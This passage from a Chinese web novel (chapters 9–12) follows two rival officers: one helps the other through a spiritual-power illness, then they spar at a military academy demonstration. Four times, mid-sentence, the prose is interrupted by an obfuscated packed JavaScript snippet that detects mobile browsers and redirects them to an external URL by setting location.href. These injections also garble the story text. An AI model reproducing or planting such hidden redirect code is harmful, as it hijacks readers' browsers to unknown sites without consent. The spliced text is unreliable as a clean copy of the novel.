她漫不经心地思索着下午是去机甲部,还是去体能训练的时候,蓦然间听到背后之人脚步沉重,就连呼吸也变得急促起来。 栾绮步子一顿,蔺序然拖着不适的身体,未察觉到她的动作,措不及防地撞上了她的后背。他恍若泄力一般,整个人倾身靠在她的肩膀上,因没设防,微咬着唇,下颚不慎磕到她的肩头,喉间发出低沉的闷哼声。 栾绮偏过头。 他的整张脸从后面埋在她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184231|165442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖颈处,分明隔着几层布料,但他温热的气息像是喷洒在她的肌肤上,柔软的黑发随着他呼吸的起伏,有一搭没一搭地碰着她的耳朵。 栾绮伸出两根手指,将他的脑袋往旁边推了推,然后发声问:“长官?” 回应她的只有沉沉的气息。 少顷,蔺序然这才撑起身子,唇间弥漫的血腥味让他的意识清醒了一点,他抬起微颤的眼睫,去看栾绮。对方身后的长发被他折腾得有点乱,她只是抬手稍微整理了一下,转过身去回视他的眼眸。 栾绮好整以暇地挑眉。 他的肌肤透着点红,红意一点点顺着脖颈蔓延进严密包裹着的黑色军装内。 很熟悉的情况,他又陷入了精神力不适症内。 “你很需要帮助。” 蔺序然缓慢地颤了下睫,银灰色的眼眸因为身体状况,似乎蒙上了一层雾气,缓和了他眉眼间的凌厉。 “我不需要。” 栾绮看了一眼他发抖的手和摇摇欲坠的身体。 明明全身无力,却强行站直。 “好吧,”栾绮拉长语调,慢吞吞地抱歉说,“看样子,长官也不像是在嘴硬,那的确是我说错了。” 她说得很平和,但说话的内容分明是在取笑他。 “……” “对了。”栾绮从身后取出一瓶半个巴掌大的喷剂,这一小瓶喷剂能够快速愈合小伤口。她的身上总带着一些便捷式药物和武器,以备不时之需。 她将东西递到他面前,伸手虚指了下唇,扬眉说道:“喷一下吧长官,你这症状要等好一会才会消。前面人来人往,指不定会有谁从这边路过。你也不想看到有人见到你这幅——” 她斟酌了一下:“糟糕的模样吧。” 的确挺槽糕的。他唇上的伤口没有破在清白的位置上,不太清白的唇伤,再配着他此时泛红的肌肤和雾蒙蒙的眼,一看就让人想入非非。 “……”蔺序然呼吸仍旧在发沉,他想要回绝,但不远处传来的几道脚步声逐渐清晰。 他莫名地顿了下,准备抬手去拿,但手臂无力,浑身的力气只能够勉强让他站着,而不能让他去从她手中接过喷剂。 偏偏,栾绮还用那种似笑非笑的神情看他。 蔺序然避开,垂睫:“……帮我,栾绮。” 栾绮摆出浑然不觉的模样:“帮什么。是帮你喷喷剂,还是……你的精神力不适症状?” 他的嗓音哑得厉害,迟缓了许久,这才说:“喷剂。” “哦,喷剂。” 栾绮浑不在意地说:“请人帮忙,就这点态度吗,长官?” 蔺序然:“……” 他继续垂眼,沉声好几秒,才放缓了语气,轻声说:“我需要它。帮帮我,栾绮。” 栾绮的表情没什么变化。他比她高出了大半个头,可她还是伸手掐过他的脸,迫使他低下头来。 蔺序然原本就没什么力气,被她这么一带,整个人都快贴上了她。 他的心脏重重地一跳,随后,喷剂微凉的雾气弥散在了他的唇上,与之的,还有她一触即分的温凉的指尖。 栾绮松开手,收回喷剂,不紧不慢地呵笑了声,带着她惯有的挑衅口吻:“长官,你的唇可没有你的嘴这么硬。” 9. 09 显然是没想到她会这么说,蔺序然垂落的眼睫唰然抬起,瞳孔轻缩,然后匆匆挪开视线。 他知道自己正处于精神力不适症状内,浑身无力发烫,而她说话又总是喜欢去刺激他,可奇怪的是,在她这话落下之后,耳畔的热意更盛了几分。不知是症状加深了,还是觉得难堪,或是其它什么。 蔺序然无意识地想要抿唇,但她指尖的触感好似还停留在唇上,他只好作罢。进退两难时,瞥过她稍作愉悦的表情,蔺序然轻轻蹙眉:“你看起来很高兴。” 栾绮摊手:“这是当然,长官。你知道的,我很乐意看到你狼狈的模样。” “……”这是理所应当的回答,他不该问的。 蔺序然张唇,欲要说话,但精神力不适症状实在令他身心俱疲。症状似乎比前几天更加来势汹汹,宛如温水煮青蛙般,不仅将他的力气全然抽光,甚至还让他迫切地渴望着。哪怕他努力维持着正常的模样,实则已经到达了临界点。 终于,在栾绮想要转身离开之时,蔺序然再也支撑不住,身子往前倾倒。 栾绮原本想要避开,可还是接住了他,双手扶住了他的双臂。他俯着身,脑袋安分地窝在她的肩头,深浅又急缓地呼吸着。 栾绮微微皱眉。 她伸过指尖抬起他靠在肩膀上那滚烫的脸:“长官,你这次的症状,似乎没有一段时间是好不了的。” 蔺序然没有其余的反应,只是偏过脑袋,半阖着湿漉的眼睫,将脸往她指尖上送。 栾绮:“?” 她觉得很不对劲,不过下一秒,栾绮就听到他张着唇,呢喃声很轻,又很模糊,她仍然是听清了—— “热。”他说。 栾绮眯起眼,看着他进一步贴过来的动作,又蹭又贴,像极了星网上曾经流传的一个考古视频——猫吸猫薄荷那醉生梦死的状态。很奇怪的比喻,却又诡异地贴切,当然,如果她的手指没有被当成猫薄荷就好了。 她刚想抽回手,蔺序然倒是比她更快一步,栾绮能感受得到他似乎僵硬住了,大概是被自己的行为惊到,素来波澜不惊的脸居然看起来有点不可置信。但这个神情只不过出现了一两秒,又被他快速地收敛回去。 他撑起脸,想要与她隔开距离,可惜,碍于无力,只得继续依靠着她的支撑。 “哈——” 栾绮别过头,压低了嗓子,没让自己笑得太大声。 “……” 蔺序然面无表情地转过头,不愿去面对她。 不料栾绮松开扶住他的手。在蔺序然尚未反应过来时,她的手臂从他的腰边绕过,半扶半揽,随意地让他的手臂搭在自己的肩上。 蔺序然浑身肌肉紧绷。 “栾绮……?” 栾绮:“总该要去趟治疗室,长官。” 她笑了下:“难不成,你想要和上回一样,我扛着你过去?” 蔺序然未吭声。毕竟她虚掩着他的腰的手让他无法忽视,而且,两个人离得太近,再加上症状的加深,腰侧几近敏/感,被这么要贴不贴着,足够引起肌肤战栗。 “你们……栾绮……?”身后传来一道声音,尤里斯带着组员,快步向前朝扶着的两人走去。 S级精神力者正处于精神力不适症状,饶是控制得再好,精神力多少都会有些溢出。越靠近,就越能感受得到。 尤里斯强行忍着这股烦躁的压迫感和想要遁走的本能心态,诧然询问:“这是怎么了?” 栾绮侧眸,只道:“如你所见,尤里斯,蔺上校身体不适,我正要送他去治疗室。” 对于这位蔺上校的身体舒不舒服,尤里斯倒也不是太关心。他向蔺序然投以短暂的一瞥,然后心里陡然咯噔一下。 对方别过脸,他无法看清这是个什么个状况,好在对面的两个人体型差较为明显,尤里斯能够清楚地看到对方微微屈着身子,低着头,侧脸似乎抵在栾绮的肩膀边。 分明是一个十分正常的搀扶姿势,两个人距离凑得近一点,也是理所当然的一件事。可尤里斯古怪地觉得,这里面又有点不太对劲。 于是尤里斯轻眨了一下眼,说道:“需要我帮忙吗,栾绮?我可以扶上校过去。” 他刚说完这话,后面有调查组的成员小声提醒:“组长,调查署的任务我们还没完成呢。” 尤里斯微微一笑:“……我当然知道有任务,你提醒得真是太——巧妙了。” 栾绮只向他挥了挥空出来的手:“没必要,尤里斯,你的任务要紧。我得先去治疗室了,下回见。” “……” 尤里斯静站在原地,直至两人走远了,他还盯着他们离开的方向若有所思,后头的调查组成员不解道:“组长?” “说不上来的感觉,”尤里斯说道,“中校和上校,不都是一直以来的对手吗?作为对手,理应乐得见对方的不堪与狼狈,能不做到落井下石就不错了,很少有帮扶的情况出现。” 调查组成员看起来对他的困惑表示不理解:“这是应该的,组长。虽然星际联邦都知道他们关系不和,但,不管如何,两位校官在战场上都需要并肩作战。” 尤里斯静默了一瞬:“也对。” 他停了停,说:“走吧。” - “午安,二位,又是你们。” 栾绮前脚刚踏进治疗室,后一脚,治疗室内的治疗师就出了声。 她看了过去,发现那边坐着的治疗师是上回机甲部的那位。 栾绮一顿,又表示了解。这年头,精神力治疗师本来就比较少,而能够在军事部门担任治疗师的,少之又少。所以各部门的精神力治疗师相互轮值往来,是再正常不过的事。甚至,不少治疗师还会去军校授课。 栾绮将人送到病床边。他微闭着眼,肌肤上的红意未褪,半靠在床/头。 这副状况,治疗师司空见惯,上前一步查看了几眼:“精神力不适症状,正常现象,表现为中度,回访期内。S级精神力者的这种症状,通常会比其余精神力来得稍微猛一点。精神力者的不适症状是2天,S级精神力者则会有概率在症状退去的几日后,迎来1-2天的回访期。你们没看吗?” “?”栾绮问:“是指上次的手册?” 治疗师点头:“是的,往后翻,里面详解了因精神力安抚可能会出现的其它症状。比如说精神力不适症状,和依赖症等。” 她似乎看透了,一下就指出:“二位校官,可别告诉我,你们只看了那十条注意事项。” 在安静的治疗室中,片刻的沉默显得更加可贵。 治疗师露出了个和蔼的微笑:“真该死啊,二位年轻人,我应该和军校的导师联系,让你们回去重修《精神力健康理论课》这门只有一学分的选修课。请问二位,真的有上过这门课吗?” 栾绮诚实道:“没有。当时军校有过规定,只要相应的课程取得优异的成绩,可以额外免修一门选修课。” 治疗师:“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184232|165442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 看着治疗师的表情,栾绮毫不怀疑对方有想要把他们两个人给轰出去的冲动。 不过,栾绮说话偶尔比较峰回路转。她又说:“当然,相关症状的事项,我也阅览过。” 治疗师冷漠的表情瞬间转变成无奈:“小栾中校,你也真是的。说话非得喘这么长一口气。” “那么,治疗室就交给你了。” 治疗师这话说得有些奇妙,蔺序然冷不防地想要抬起眼去看。 在治疗师转身合上门的时候,栾绮说:“还是补一针缓解剂吧。” 治疗师关门的动作一停:“既然你看了,也应该有所了解。缓解剂可没有你的精神力效果来得好。” 栾绮点点头。 治疗师说道:“也行。只是,S级的缓解剂虽然比抑制剂好研究,但到现在也仍旧效果甚微,如果不行,还得靠精神力。” 她关上了门,看样子是去准备缓解剂。 治疗室重新陷入安静。 栾绮靠在床侧的墙边,颇为无聊地去看他,看着他移开两人交错的视线,目视前方。随后,在一片沉默中,栾绮点开了个人终端,星网弹出。 星网的首页讯息五花八门,其中放在最顶端的是军事新闻和最近较为紧张的E-D注射剂事件,余下的就是其他一些杂七杂八的东西,在这其中,最为瞩目的一条讯息,就是一则训练教学视频。 栾绮意想不到。因为她发现这条训练视频大概是七年前,军校入学不久,在军校各位长官的要求下,她和蔺序然合拍的一条体能训练教学视频。 星网全息投影的视频像素总是更迭得很快。这条视频又是七年前,画质看起来模糊不清,只能当做普通视频播放,无法以立体的方式播出,热度却是出乎意料地高。 星网的网民们评论刷了一大堆—— 【这是教学视频吗?感觉想要把对方打死,好凶残。】 【天啊是七年前的小栾中校,虽然糊得很,但是特别特别稚嫩。忽然想起小栾中校是跳了两年的学上来的,还是破例跳级的,比他们那一届同龄人要小两岁。太厉害了。】 【不是吧啊啊啊啊七年前的军校一年级学生版上校长得也好S,事先声明,这个S不是指涩的意思,是S级的意思,懂我意思吧因为我真的没有别的意思。】 随着这条评论刷过,后面网民们的画风变得越来越跑偏大胆。栾绮没有开私人模式,评论一条接着一条都快从蔺序然的面前撵过,他闭了闭眼,又睁开,警告道:“栾绮。” 栾绮津津有味地从评论上收回目光看他,未等他说话,她抬睫,最先开口:“怎么,长官,该不会是觉得评论太奔放了,害羞了吧?” “没有。”蔺序然对她说的话习惯了,他说:“评论太多,碍眼。” 栾绮反倒是倚在旁边,突发奇想,倾身靠近,对他示意悬浮屏幕内视频的内容:“我还记得呢,长官,你这一下格外狠。” 蔺序然:“你也不逞多让。” 她那一脚踹得狠多了。何况又是双S的体质,力道大得超乎想象。 “是吗,”栾绮微笑,“毕竟你那会绷着脸什么都没说,我还以为不够用力呢。” “……”难为她当时又补了一脚。 蔺序然想要侧过头去正视她,甫一偏头,两人距离霎那间拉近,这下轮到她的呼吸浅浅地碰过他的脖颈,跟寸寸蹭过他的肌肤似的,麻得出奇。 他指尖一软,下意识地想要遮掩住脖颈避开。 10. 10 但蔺序然还是忍下了这份酥麻感,掌心撑着床,身子稍稍往后倾去,同她拉开了距离。 每次栾绮的靠近或者两个人之间的接触,都会让他的精神力不适症状得到一定程度上的缓和。 他明知道这是病症的正常状况,却总觉得古怪和别扭。 就像,他对栾绮上瘾了一样。 明明才进行了一次精神力安抚,之后,他们也并未做出过不恰当的触碰。 他的动作很细微,却引得栾绮准备起身的举动一停。她半低下眼,视线一扫,看到他板正地放在床上的指尖微不可见地轻缩起,而他神情未变,哪怕露出外边的肌肤还是红的,可银灰色的眼眸充满着冷感。 栾绮慢悠悠笑了一下,然后,在蔺序然以为她要起身退后之时,她蓦然间再次向前俯身。 蔺序然气息几近一滞,犹如防备般,他的语气带上了不容置喙:“栾绮,别靠这么近。” 栾绮歪头,恍若不解般:“很近吗,长官?” 她指了指悬浮屏幕上还在播放的视频。视频中,是因为打斗而不得已身体相互贴近的两人。 “这点距离,也不算近吧。” 她甚至还在他面前比划了一下。两人现在的距离相差一指长,跟视频中的比起来,确实是小巫见大巫。 蔺序然强撑着身体,压下因她靠近而带来的肌肤上的颤抖,面无表情地看着她。 他看到对方露出一个逗弄似的微哂来。她的唇形很好看,抿唇时看上去有些疏离,一旦笑起来总会让她的脸隐透着几分温柔的情意。 现在,栾绮带着这抹温柔的情意,又说出让他无法回复的话来—— “还是说,长官是在想什么不好的事,才会觉得这个距离过于近。” “栾绮,你……”在蔺序然张唇开口期间,治疗室的大门“噌”地推开。 治疗师轻飘飘地望向两人在床边的姿势,“嚯”一声打趣道:“我看两位似乎没有星网上说得这么针锋相对,这不,关系看起来挺不错的嘛。” 蔺序然:“……” 栾绮神色如常地站起身,收回终端上弹出的星网视频。她慢条斯理地瞥了一眼蔺序然,摊手道:“这可不好说,我和蔺上校之间的关系,还有待商榷。” 蔺序然蹙眉,然后微微侧过脸。 治疗师笑了笑,旋即,取过一边的纸质报告,顺便将手中调配好的缓解剂交给栾绮:“小栾中校,我这边收到了一项治疗师协会的会议通知,缓解剂就交由你来用。” 栾绮:“?” 治疗师:“怎么?蔺上校的精神力不适症状不是由你来负责的吗?抛下自己的责任可不是一位校官能干出来的事。何况,缓解剂使用简便,挨家挨户都有备用,这对你们来说更是轻车熟路,甚至军校也有学过相应的医疗知识,应该不需要我教吧。” 她说完,大步朝外走去,还相当贴心地关上门。 栾绮手中拿着缓解剂,冲蔺序然微笑:“我相信这种事情,长官应该能自己解决吧?” “……”蔺序然静了静,难得觉得有点头疼,他现在连手臂都抬不起来,只能做出一点轻微的动作,更别说去使用缓解剂了。 栾绮盯了他好一会儿,只得败下阵来:“行吧。” 她面对着他,看了一眼他军服上的扣子:“该不会,扣子也只能由我来?” 他又没反应了。栾绮向前一步,俯视着他:“都这样了,长官,可别再觉得难堪。” 蔺序然不语,只是错开眼神,不去看她的动作。他的身子紧绷,虽然不去在意,但余光还是能够看到她低垂着眼睫,过长的睫羽落下一片鸦青色,无甚表情地,单手解开他衣服上的扣子。 从军装外套,再到腰带,然后再是里头内衬上的纽扣,衣襟处的黑色领结也被她松开来。蔺序然抖着睫,表情漠然地感受着她的指尖拨过他内衬的另一边衣领,似乎有些擦过他露出来的锁骨,那边好像泛起一点痒意,又有点热,几乎从皮肤烫进了骨头里;随后,她温凉的手指转向他的手臂—— 缓解剂缓慢地被她推送着。 栾绮松松地碰着他滚烫的肌肤,轻轻抿唇。 她的目光不由自主地掠过他的胸肌,皮肤很白,上次稍微掐一下就能留印。再往下,则是被衣衫遮掩的腹肌,隐约窥见流畅漂亮的肌理,沟壑分明,坚实有力。 栾绮挪开眼,收回手,随意地替他拢上衣服。 缓解剂起效很快,大约半分多钟,蔺序然能够感受到自己的手指恢复了力气。他匆匆地扣上自己衣服上的扣子,整理好自己的衣物,一阵无言。 栾绮处理好掉中的缓解剂,回头就看到他这副略微匆忙的模样,不由得好笑出声:“长官,我今日下午的日程安排,可是要去进行体能训练。被你这么一耽搁,这个计划泡汤了,我想,你应该需要对我的帮助表示些什么。” 蔺序然的嗓音还是有点哑,他说:“……你今天的日程安排表,没有固定的计划。” 栾绮:“没有固定计划,就意味着计划随时可以变。所以,今天下午的安排是体能训练。” 他无声地看她。 几秒后,蔺序然哑声道:“多谢。” 栾绮说:“就这两个字?” “多谢,”蔺序然重复道,“栾绮。” 栾绮不轻不重地“哦”了声:“长官,你这语气也太梆硬了吧。听起来不情不愿的,像是我在逼迫你。” “栾绮……!”蔺序然吐字加重:“谢谢。” “嗯,被长官再度感谢的滋味,还挺不错的。”栾绮双手环抱,长靴抵着地面:“毕竟,很少有人能收到对手的谢意。” 蔺序然脖颈上的红意终于褪去,他半靠在床边,撩起眼皮听着她继续说道: “不过,光是几句感谢,未免也太轻了。” 蔺序然用银灰色的眼眸盯紧她:“你想要什么。” “我三天后的日程安排表上,有个活动。联邦军盟学校邀请我去给新生做一遍对抗性训练,”栾绮说得有些散漫,看上去没当回事,“不知道有没有这个荣幸,能请到长官你。” 对抗性的体能训练,就跟那个视频里的内容一样。 之前,训练过程中的相贴对他未起丝毫作用。但是现在…… 蔺序然说:“很遗憾,栾绮。我那天的行程很满。” 栾绮来了兴趣:“我记得,你那天下午的行程是不固定的。” 蔺序然冷声道:“没有固定计划,就意味着计划随时可以变。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杨乔目送她离去后,走进治疗室,一颗七上八下的心总算落了下来—— 没打起来,真是太好了。 他向前几步,报告道:“长官,再过一个小时,需要跟A区联络开会。资料我已经整理好了。” 蔺序然起身,颔首。 杨乔跟在他身后,犹豫了好一会儿,悄咪咪地问:“长官,您需不需要这个?” 蔺序然脚步一顿,示意他说下去。 杨乔快速地点开个人终端,戳进星网浏览里面,里面唰然弹出几本电子书籍—— 《教你如何回怼人的一百条句式》 《麦克哈尔——生活畅快的方式:用最礼貌的语句说出最让人破防的话》 《回击对手的顶级方法》 蔺序然沉默,皱眉,疑惑。 杨乔支支吾吾:“长官,小栾中校平时对我们很温柔很亲和,一旦对上了你,攻击力强得没边。这些,我觉得您可以看一下。星网评分率高达90%,大家都在看。” “……”蔺序然静止好半会儿,垂着的手指轻轻一动,这才道:“不必。” 11. 11 人造太阳的光晕有些惹眼,在灼热的光线下,栾绮戴着黑色军帽,静站在星际军盟学校的训练场上,颇有些散漫。 “还能继续吗?”她问。 对面的路成映被虐得四仰八叉且毫无形象躺在训练场地上,连连摇头说:“不不了不了。” 在旁侧教官无奈地注视下,他慢吞吞地扶着膝盖站起来,小声对着教官埋怨道: “学校也没说这次对抗性训练请的是栾中校啊,您要是提前知会我一声,我铁不来。” 末了,他还嘀嘀咕咕地补了一句:“你看我这身训练服,都快被我磨烂了,中校连个帽子都没动。十几分钟的训练,单纯就是猫玩耗子。我就是那个耗子。” 教官被他这话逗笑了,不止是教官,就连穿着崭新军装,刚入学的新生们也忍俊不禁。 星际军盟学校的招生期很短,但只要度过了招生期,就会立马迎来开学。刚入军校的新生,除了进行精神力训练之外,最重要的就是体能训练。 不过,也许是军校第一次邀请栾绮回来做训练示范,训练场内不仅有新生,甚至还混进来不少高年级学生,就连训练场周边也总有其他学生路过。 教官对此睁一只眼闭一只眼,她对着路成映笑道:“你好歹也是体能训练这项课程中满绩点的学生,总不可能在机甲部实训几月,就疏忽了训练吧?我记得你之前可是傲得很,在我的课上总说对抗性训练没什么对手,现在有你还不高兴?” “哪啊,”路成映反驳,一副饱受打压的模样,“上回跟中校的机甲战斗,我都没撑过多久,别说这次的对抗性训练了。” 教官:“……挺不错了。” 她看了一眼栾绮,对方的面容隐在帽檐下,投下一道阴影,显得她的表情有点懒洋洋的。比军校时期沉稳了许多。 于是教官捏了捏鼻梁,说:“这个环节就先暂时搁浅。栾中校,模拟对敌的部分你来演练一下,不要太快。” 栾绮应道:“您知道的,快不快,还是得取决于模拟对敌的难度高不高。” “……”跟军校时也没有区别嘛。 教官叹道:“放心,知道你来,和以前你在校时一样。当然,学校最近有对这个部分做出调整,现在的模拟实战跟战场实战没区别。” 栾绮勉强提起点精神。她抬起军靴走到模拟实战的区域内,伴随着教官对操作台的操控,栾绮所在的区域周边顿时升起一道屏障将她围住。 不过几秒,巨大的屏障内,投射出的光粒瞬间凝聚成长着透明虫翼、细长口器、四足落地,双螯足不断挥舞着的,约莫四米高的虫族。 模拟实战区域旁边的蓝色全息屏幕内,显示着这名虫族等级为A级。 一只A级虫族,在不动用精神力和机甲的情况下,A级精神力者起码要与它进行一个小时的苦战。 在军校新生接连不断的惊诧声中以及对虫族面貌吐槽的同时,栾绮有条不紊地从后腰枪包里取出能源枪,轻扣扳机,“砰!”地一声,带着尖锐牙齿的口器一枪击落。 巨大的透明虫翼飞展开来,向栾绮迎面直去,她侧身翻躲,“砰砰砰”几下,虫翼被击穿,虫子庞然的身体嘭然掉落。随后,这只A级虫用自己腹部发声器不断发出高频的嗡响,嗡响带着明显的精神力干扰作用,栾绮没有动用精神力去反压,更对这个干扰无动于衷。 它庞大的螯足挥出一道残影,尚未碰到栾绮,就被她数枪击落。A级虫痛苦地持续发出嗡响,试图干扰对方的精神力以获得一瞬的喘息与反杀的机会,被栾绮干脆利索地击碎发声器,然后借力轻跃,长靴碾上它的后背,单手持能源枪对准着它的脑袋,“砰砰”—— 光粒破散开来,屏障也紧跟着解除。蓝色全息屏幕中,投跃出栾绮这次模拟实战的成绩: 十五分零一秒。 新生哗然一片。 栾绮慢条斯理地抬起帽檐,听到斜对面的路成映喃喃道:“十五分钟?我实战的成绩都要半个小时。等等,也就是说我四舍五入一只A级虫??天呐,我这么有种?” 他瞬间明白了,苦笑道:“小栾中校,你这放水放得也太狠了。明明可以一下子让我退场,却这么贴心地陪我打了十几分钟。” 栾绮摊手:“你们卫主任打过招呼。我要是再像上次那样不收着点让你昏个一天,下回去机甲部就给我安排基础型机甲。我哪有这个胆子。” 路成映双手合十:“果然我在机甲部当牛做马还是有点用处的,感谢主任。” 前边的教官这会眉开眼笑地指着栾绮刚刚那段被收录的视频,对诸多新生说:“军校的模拟实战有排名,有能力的同学,可以挑战一下栾中校的新纪录。不清楚的,可以将个人终端连进模拟实战区内,导入这段视频,反复观看。” 大多数新生跃跃欲试,而在训练场外边围观的高年生们觉得匪夷所思。毕竟栾绮毕业前在模拟实战区留的记录,是二十四分十七秒,两年了,都没有人破掉。现在破掉这个记录的本人还是她自己。在校军校生怎么可能会有这种能力。 教官继续说:“等近身对抗性训练结束,今天的理论环节也就到这了。” 路成映听了,秒变愁眉苦脸:“不是吧教官,我还得打吗?刚刚我那十几分钟的挨打过程还不够用吗?” 教官:“怎么不够。这是一个非常好的反面教材。” 路成映深吸一口气:“那……我努努力争取一个正面教材?” “行了,”教官冲他摆摆手,“你先别努力这个,你去努力复盘一下刚才为什么一直挨打。” 路成映松了口气,又天真地问:“所以,您来跟中校打?” 教官:“?” 她差点气笑了,瞥见栾绮略有讶异的眼神,教官迅速地说:“不是。刚刚接到通知,蔺上校会参与进这个环节。” 栾绮挑眉,然后偏了偏脑袋。 军校学生:“!” 他们瞪大眼睛,望眼欲穿。 天知道,星网上两个人对抗的古早教学视频他们都已经盘包浆了,这回能看到真人,哪能不激动。 而也在这时,训练场的入口处,有人缓步而来,他微微抬头,帽檐下露出一张冷峻的脸。 在众多军校生兴奋目光的洗礼下,蔺序然大步走到栾绮身侧,戴着黑色皮质手套的手松了下衣襟,冷声道:“抱歉。刚处理完军务,来迟了。” 栾绮有点莫名,又忽地了然地扬唇道:“不算迟,长官,踩点踩得很准。” 这股熟悉的味道……教官不太想回忆,索性开嗓说:“为了不再耽误二位校官,这次教学还是基础版。两位动作慢点就行。” 却听栾绮道:“学校官网内的基础 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184234|165442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 版真人教学视频,已经有许多版本,它很难过时。所以教官,依我看,不妨来一场反抗性训练教学。” 教官思索:“也行。” 哪怕教学环节被改,新生们也没有表露出什么来,而是越发地聚精会神。 他们看到那位小栾中校微微笑着,说:“所谓反抗性训练,就是拆解对抗性训练时的一招一式。这需要对基础版有着一定的熟悉度。” 她一顿,嗓音放轻,带上了平时的戏谑口吻,“不过,这对你来说不难吧,长官。” 蔺序然无声地望了眼她。 怎么可能会难,毕竟他们两个人都相当熟悉彼此的作战方式。就连她什么时候搞偷袭—— 果然,在他刚这么想的时候,她的手已经绕至他的后背,他身上的枪被她夺取而出,枪柄抵住了他的脊背。 身体的反应远比思绪更快,蔺序然无意识地蹙眉扣住她的手腕,以防于她伸手拦过自己的腰进行下一步侵略举措,然而,栾绮意料之外地用指尖勾住了他的腰带。 蔺序然有片刻的松怔,他用气音道:“这不是训练里的动作。” 栾绮压低声音,微扬的语调恍若贴在他的耳畔边似的:“怎么不算呢,长官。” “只是偶尔的出其不意而已。你也喜欢这么做。你来这,不也没打招呼?” 腰间骤然一紧,未等蔺序然听完她的这句话,栾绮的手臂已经紧紧地箍在他的腰上,蔺序然指尖轻动,在他晃神过来的时候,他的手早已反抱住了她的腰,在腿部要横扫过去之时,他愣了一下。 对方肌肤的热意好像能够隔着那身军服透到他的掌心,甚至几乎能感知到她腰/腹紧实的肌肉。分明是他的错觉,但蔺序然还是蓦地松手,旋即,松开的双手又被栾绮不经意间摁回到她的腰侧。 “别走神。”栾绮说道:“这是教学训练。我不会反抗。” “……” 见他还是有一秒的沉默,栾绮说:“你再不动手,我可控制不了自己要反抗的手了,长官。” 大概是她的话语含着几分诱导性,蔺序然压下异样,但思绪仍旧纷乱,这场在旁人眼里异常精彩的教学训练,在他这边有些浑噩地结束了。 临走前,蔺序然还听到新生内有人悄声对话: “两位校官的关系看起来没有想象中的紧张。” “没吧,你看上校那表情,走得也挺匆忙的,看起来不太想和中校沾上关系。” 蔺序然不适地绷起脸,回到磁悬浮车内,轻轻垂睫,正当懊恼不该来时,即将要自动关闭的车门被手臂撑住。 栾绮俯身弯腰,军靴踏上车:“不介意捎我这个下属一路吧,长官。” 蔺序然顿了好久,问:“你的车呢?” 栾绮:“维修去了。” 蔺序然别过脸:“那你怎么来的。” “来之后送去维修。”栾绮说,“无人驾驶的磁悬浮车,能自己开到维修地,很正常吧。” 蔺序然没什么表示,只是淡淡地看着她—— 他就算是拒绝了也无济于事,因为在栾绮的第一句话落下之后,她就已经坐了下来。 偌大的车内,两人分别各自挨着车窗,拉开了一定距离,可车内的空间好像格外逼仄。 在紧绷的氛围中,蔺序然只能轻声道:“你倒是不介意。” 12. 12 栾绮从他这句话里品出一点嘲讽的味道来,很罕见,更多的是奇特。 但她没有否认,只是伸展开自己的腿,然后随意地将后背仰向后椅。 车内陷入短暂的安静,仅有车底磁悬浮力传来的偶尔轻滋声。 前座无人驾驶,车开得平稳。 两人相处这么多年,不仅彼此间的作息日常安排,就连对彼此的副官也了如指掌。就好比栾绮相当清楚,这几天是杨乔的休假日,其他几位副官尚留在A区驻守,他才会把这辆车掏出来。 车窗外各处大厦中央那巨大的横屏上播放着星际联邦女星梅莉娅·海温德拍摄的一条宣传片,栾绮将其看完,随后她把视线从中挪开,在稍感无趣的时候,慢悠悠地偏过脑袋—— 蔺序然的侧脸隐在帽檐之下,眼睫半阖着,长腿交叠,那双带着黑色手套的手,也规矩地交叉摆好,看上去仍带着不可忽略的冷冽与威慑。 栾绮足足盯了他有一秒,微妙地笑道:“说起来,长官能将我几天前的邀请记挂在心,还真是我的荣幸。” 其实是意外。 她还真没想到过,一个她随意捻过来的话头,竟然能被他当真。 挺古怪的一件事。 蔺序然波澜不惊地说:“人情。” 随后,他轻轻侧首,银灰色的眼眸毫无感情注视她,平铺直述道:“它能够让我避免产生‘羞愧感’。” 这是隔了几天的回旋镖啊。 栾绮突然间饶有兴趣,打量了他几番,不吝啬自己的夸奖:“好记性,长官。” 蔺序然:“彼此。” “只有‘彼此’么,”栾绮调整了一下自己手上戴着的半截手套,轻眯起眼,“我还以为你会有更高明的回击方式。” 更高明的回击方式? 停顿一会,蔺序然沉声:“你是想让我更直白地回讽、恶心你,正如你一样?” 